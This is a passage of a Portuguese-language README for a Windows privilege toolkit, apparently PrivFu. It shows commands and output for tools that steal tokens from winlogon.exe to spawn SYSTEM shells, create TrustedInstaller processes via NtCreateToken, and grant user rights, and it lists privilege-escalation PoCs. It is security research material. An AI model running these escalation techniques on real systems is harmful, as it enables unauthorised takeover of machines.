PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation
[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.
C:\Dev>.\TokenDump.exe -s -p 3516 -t 4656 -d
[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to dump thread token information.
[Token Information for svchost.exe (PID: 3516, TID: 4656)]
Token User : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Owner : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Primary Group : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Type : Impersonation Impersonation Level : Impersonation Token ID : 0x0000000000038CC4 Authentication ID : 0x00000000000003E7 Original ID : 0x00000000000003E7 Modified ID : 0x000000000002CE61 Integrity Level : System Protection Level : N/A Session ID : 0 Elevation Type : Default Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust Has Linked Token : False Token Source : N/A Token Source ID : N/A
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege EnabledByDefault, Enabled
SeSecurityPrivilege Disabled
SeSystemProfilePrivilege EnabledByDefault, Enabled
SeDebugPrivilege EnabledByDefault, Enabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeImpersonatePrivilege EnabledByDefault, Enabled
SeCreateGlobalPrivilege EnabledByDefault, Enabled
GROUP INFORMATION
-----------------
Group Name Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone Mandatory, EnabledByDefault, Enabled
BUILTIN\Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260 Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators EnabledByDefault, Enabled, Owner
DACL INFORMATION
----------------
Account Name Access Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM GenericAll None AccessAllowed
OWNER RIGHTS ReadControl None AccessAllowed
NT SERVICE\DiagTrack GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000047
Value[0x01] : 0x000000000002C0FA
[*] Done.
## TokenAssignor
[Voltar ao Topo](#privfu)
[Projeto](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)
Esta ferramenta é para aprender como atribuir token primário:```
PS C:\Dev> .\TokenAssignor.exe
TokenAssignor - Tool to execute token assigned process.
Usage: TokenAssignor.exe [Options]
-h, --help : Displays this help message.
-c, --command : Specifies a command to execute. Default is cmd.exe.
-m, --method : Specifies a method ID (0 - 3).
-p, --pid : Specifies a source PID for token stealing.
[!] -m option is required.
Esta ferramenta tenta roubar token de um processo especificado e executar um processo atribuído ao token.
A maioria dos métodos requer privilégios administrativos.
Para executar um processo atribuído ao token com a API CreateProcessAsUser, defina a opção -m como 0:```
PS C:\Dev> Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
270 13 2452 10108 0.33 688 1 winlogon
PS C:\Dev> whoami /user
User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 0
[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x68). [+] Got a impersonation token from winlogon.exe (Handle = 0x2E0). [+] Impersonation as winlogon.exe is successful. [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9552). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18). Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.
C:\Dev>whoami /user
User Name SID =================== ======== nt authority\system S-1-5-18
Quando a opção `-m` é definida como `1`, esta ferramenta tenta criar um processo suspenso e atualizar o token primário para um token roubado.
Este método não pode ser usado para alterar o ID da sessão devido a uma restrição do kernel.
O kernel força que o ID da sessão do token corresponda ao ID da sessão do `_EPROCESS`:```
PS C:\Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
Se a opção -m estiver definida como 2, cria um novo processo atribuído com token usando o Secondary Logon Service:```
PS C:\Dev> whoami /user
User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 2
[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x2C4). [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 5832). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).
PS C:\Dev>
Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.
C:\Dev>whoami /user
User Name SID =================== ======== nt authority\system S-1-5-18
Se a opção `-m` for definida como `3`, cria um novo processo com atribuição de token usando o método de falsificação de PPID:```
PS C:\Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3
[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).
PS C:\Dev>
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
Esta ferramenta é para executar processo como conta de grupo NT SERVICE\TrustedInstaller.
O PoC original é de Grzegorz Tworek's TrustedInstallerCmd2.c.
Eu o portei para C# e o reconstruí como uma ferramenta.
A maioria das operações requer privilégio administrativo (SeDebugPrivilege, SeImpersonatePrivilege e High Mandatory Level):```
PS C:\Dev> .\TrustExec.exe
TrustExec - Tool to create TrustedInstaller process.
Usage: TrustExec.exe [Options]
-h, --help : Displays this help message.
-l, --lookup : Flag to lookup account name or SID.
-n, --new-console : Flag to create new console. Use with -x flag.
-x, --exec : Flag to execute command.
-a, --account : Specifies account name to lookup.
-c, --command : Specifies command to execute. Default is cmd.exe.
-e, --extra : Specifies command to execute. Default is cmd.exe.
-m, --method : Specifies method ID. Default is 0 (NtCreateToken method).
-s, --sid : Specifies SID to lookup.
Available Method IDs:
+ 0 - Leverages NtCreateToken syscall.
+ 1 - Leverages virtual logon.
+ 2 - Leverages service logon.
+ 3 - Leverages S4U logon.
+ 4 - Leverages TrustedInstaller service.
Para este módulo, 2 técnicas são implementadas.
Podemos especificar um método com a opção `-m`.
O valor para a opção `-m` pode ser um inteiro de `0` a `4`.
Por exemplo, se você definir a opção `-m` como `0`, esta ferramenta tentará obter o token `TrustedInstaller` com `NtCreateToken`:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell
[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Dev> whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeSyncAgentPrivilege Synchronize directory service data Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label S-1-16-16384
Se você quiser criar um processo com um novo console, defina a flag -n da seguinte forma:```
PS C:\Dev> .\TrustExec.exe -m 1 -x -c powershell -n
[*] Virtual logon method is selected. [+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Impersonation as smss.exe is successful. [+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread. [+] SeImpersonatePrivilege is enabled successfully for current thread. [+] SeTcbPrivilege is enabled successfully for current thread. [+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110). [+] A virtual account VirtualDomain\VirtualAdmin is created successfully (SID: S-1-5-110-500). [+] Got a virtual logon token (Handle = 0xEC). [+] Got a token assigned process (PID: 23836). [+] VirtualDomain domain is removed successfully.
Cada método, exceto o método de serviço TrustedInstaller (ID para a opção `-m` é `4`), aceita SIDs de grupo extras com a opção `-e`. O formato de valor para a opção `-e` deve ser uma string SDDL SID. Para o separador da string SID, você pode usar vírgula da seguinte forma:
```console
Program.exe -m 4 -e S-1-5-21-..."```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551
[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Dev> whoami /user
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label S-1-16-16384
NT SERVICE\WinDefend Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group
Para resolver o SID da conta, defina a flag -l e a opção -a com o nome da conta da seguinte forma:```
PS C:\Dev> .\TrustExec.exe -l -a "nt service\windefend"
[] Account Name : NT SERVICE\WinDefend [] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup
PS C:\Dev> .\TrustExec.exe -l -a users
[] Account Name : BUILTIN\Users [] Account SID : S-1-5-32-545 [*] Account Type : Alias
## UserRightsUtil
[Voltar ao topo](#privfu)
[Projeto](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)
Esta ferramenta serve para gerenciar direitos de usuário sem `secpol.msc`.
Comandos diferentes de `lookup` exigem privilégios de administrador:```
C:\dev>UserRightsUtil.exe
UserRightsUtil - User rights management utility.
Usage: UserRightsUtil.exe [Options]
-h, --help : Displays this help message.
-m, --module : Specifies module name.
Available Modules:
+ enum - Enumerate user rights for specific account.
+ find - Find accounts have a specific user right.
+ lookup - Lookup account's SID.
+ manage - Grant or revoke user rights.
[*] To see help for each modules, specify "-m <Module> -h" as arguments.
[!] -m option is required.
Para enumerar os direitos de usuário para uma conta específica, use o comando enum com as opções -u e d ou a opção -s da seguinte forma:```
C:\dev>UserRightsUtil.exe -m enum -d contoso -u jeff
[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.
C:\dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105
[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.
Se você não especificar o nome de domínio com a opção `-d`, use o nome do computador local como nome de domínio:```
C:\dev>hostname
CL01
C:\dev>UserRightsUtil.exe -m enum -u guest
[>] Trying to enumerate user rights.
|-> Username : CL01\Guest
|-> SID : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
|-> SeInteractiveLogonRight
|-> SeDenyInteractiveLogonRight
|-> SeDenyNetworkLogonRight
[*] Done.
Este comando é para encontrar usuários que possuem um direito específico.
Por exemplo, se você deseja encontrar usuários que possuem SeDebugPrivilege, execute da seguinte forma:
find.exe --priv SeDebugPrivilege
C:\dev>UserRightsUtil.exe -m find -r debug
[>] Trying to find users with SeDebugPrivilege. [+] Found 1 user(s). |-> BUILTIN\Administrators (SID : S-1-5-32-544, Type : SidTypeAlias) [*] Done.
Para listar o valor disponível para a opção `-r`, use a opção `-l`:```
C:\dev>UserRightsUtil.exe -m find -l
Available values for --right option:
+ TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege.
+ NetworkLogon : Specfies SeNetworkLogonRight.
+ Tcb : Specfies SeTcbPrivilege.
+ MachineAccount : Specfies SeMachineAccountPrivilege.
+ IncreaseQuota : Specfies SeIncreaseQuotaPrivilege.
+ InteractiveLogon : Specfies SeInteractiveLogonRight.
+ RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight.
+ Backup : Specfies SeBackupPrivilege.
--snip--
Este comando é para executar o lookup do SID da conta da seguinte forma:``` C:\dev>UserRightsUtil.exe -m lookup -d contoso -u david
[*] Result: |-> Account Name : CONTOSO\david |-> SID : S-1-5-21-3654360273-254804765-2004310818-1104 |-> Account Type : SidTypeUser
C:\dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500
[*] Result: |-> Account Name : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 |-> Account Type : SidTypeUser
C:\dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"
[*] Result: |-> Account Name : CONTOSO\Domain Admins |-> SID : S-1-5-21-3654360273-254804765-2004310818-512 |-> Account Type : SidTypeGroup
Se você não especificar o nome de domínio com a opção `-d`, use o nome do computador local como nome de domínio:```
C:\dev>hostname
CL01
C:\dev>UserRightsUtil.exe -m lookup -u admin
[*] Result:
|-> Account Name : CL01\admin
|-> SID : S-1-5-21-2659926013-4203293582-4033841475-500
|-> Account Type : SidTypeUser
Este comando é para conceder ou revogar direitos de usuário para uma conta específica.
Para conceder um direito de usuário, especifique um direito como valor para a opção -g:```
C:\dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege. [-] No users. [*] Done.
C:\dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator
[>] Target account information: |-> Username : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 [>] Trying to grant SeTcbPrivilege. [+] SeTcbPrivilege is granted successfully.
C:\dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege. [+] Found 1 user(s). |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser) [*] Done.
Para revogar um direito de usuário, especifique um direito de usuário como valor para a opção `-r`:```
C:\dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
|-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.
C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator
[>] Target account information:
|-> Username : CONTOSO\Administrator
|-> SID : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.
C:\de>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.
Para listar os valores disponíveis para a opção -g ou -r, use a opção -l:```
C:\dev>UserRightsUtil.exe -m manage -l
Available values for --grant and --revoke options: + TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege. + NetworkLogon : Specfies SeNetworkLogonRight. + Tcb : Specfies SeTcbPrivilege. + MachineAccount : Specfies SeMachineAccountPrivilege. + IncreaseQuota : Specfies SeIncreaseQuotaPrivilege. + InteractiveLogon : Specfies SeInteractiveLogonRight. + RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight. + Backup : Specfies SeBackupPrivilege.
--snip--
## Referências
[Voltar ao Topo](#privfu)
- [Priv2Admin](https://github.com/gtworek/Priv2Admin) e [PSBits](https://github.com/gtworek/PSBits) por [Grzegorz Tworek](https://twitter.com/0gtweet)
- [Abusing Token Privileges For LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) por [Bryan Alexander](https://twitter.com/dronesec) e [Steve Breen](https://twitter.com/breenmachine)
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) por [Andrea Pierini](https://twitter.com/decoder_it)
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) por [Ashfaq Ansari](https://twitter.com/hacksysteam)
## Agradecimentos
[Voltar ao Topo](#privfu)
Agradeço pelos seus conselhos sobre programação de extensões do WinDbg:
- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon))
Agradecimentos pela sua notável pesquisa:
- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))
Agradecimentos pelo lançamento do driver de kernel de exemplo:
- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))
| Nome do PoC | Descrição |
|---|
| CreateAssignTokenVariant | Este PoC realiza EoP com SeCreateTokenPrivilege e SeAssignPrimaryTokenPrivilege. |
| CreateImpersonateTokenVariant | Este PoC realiza EoP com SeCreateTokenPrivilege e SeImpersonatePrivilege. |
| CreateTokenVariant | Este PoC realiza EoP com SeCreateTokenPrivilege. |
| DebugInjectionVariant | Este PoC realiza EoP com SeDebugPrivilege. Usa injeção de código no winlogon.exe no estágio final. |
| DebugUpdateProcVariant | Este PoC realiza EoP com SeDebugPrivilege. Cria um processo SYSTEM a partir do winlogon.exe com a API UpdateProcThreadAttribute no estágio final. |
| RestoreServiceModificationVariant | Este PoC realiza EoP com SeRestorePrivilege. Use HijackShellLib com este PoC. |
| SecondaryLogonVariant | Este PoC realiza EoP com SeCreateTokenPrivilege e SeImpersonatePrivilege. Usa o serviço de logon secundário no estágio final. |
| TakeOwnershipServiceModificationVariant | Este PoC realiza EoP com SeTakeOwnershipPrivilege. Use HijackShellLib com este PoC. |
| TcbS4uAssignTokenVariant | Este PoC realiza EoP com SeTcbPrivilege. Obtém um shell de nível obrigatório SYSTEM a partir do nível obrigatório médio. |
| TcbS4uImpersonationVariant | Este PoC realiza EoP com SeTcbPrivilege. Realiza a personificação de thread com logon S4U. Não obtém nível de integridade alto ou SYSTEM. |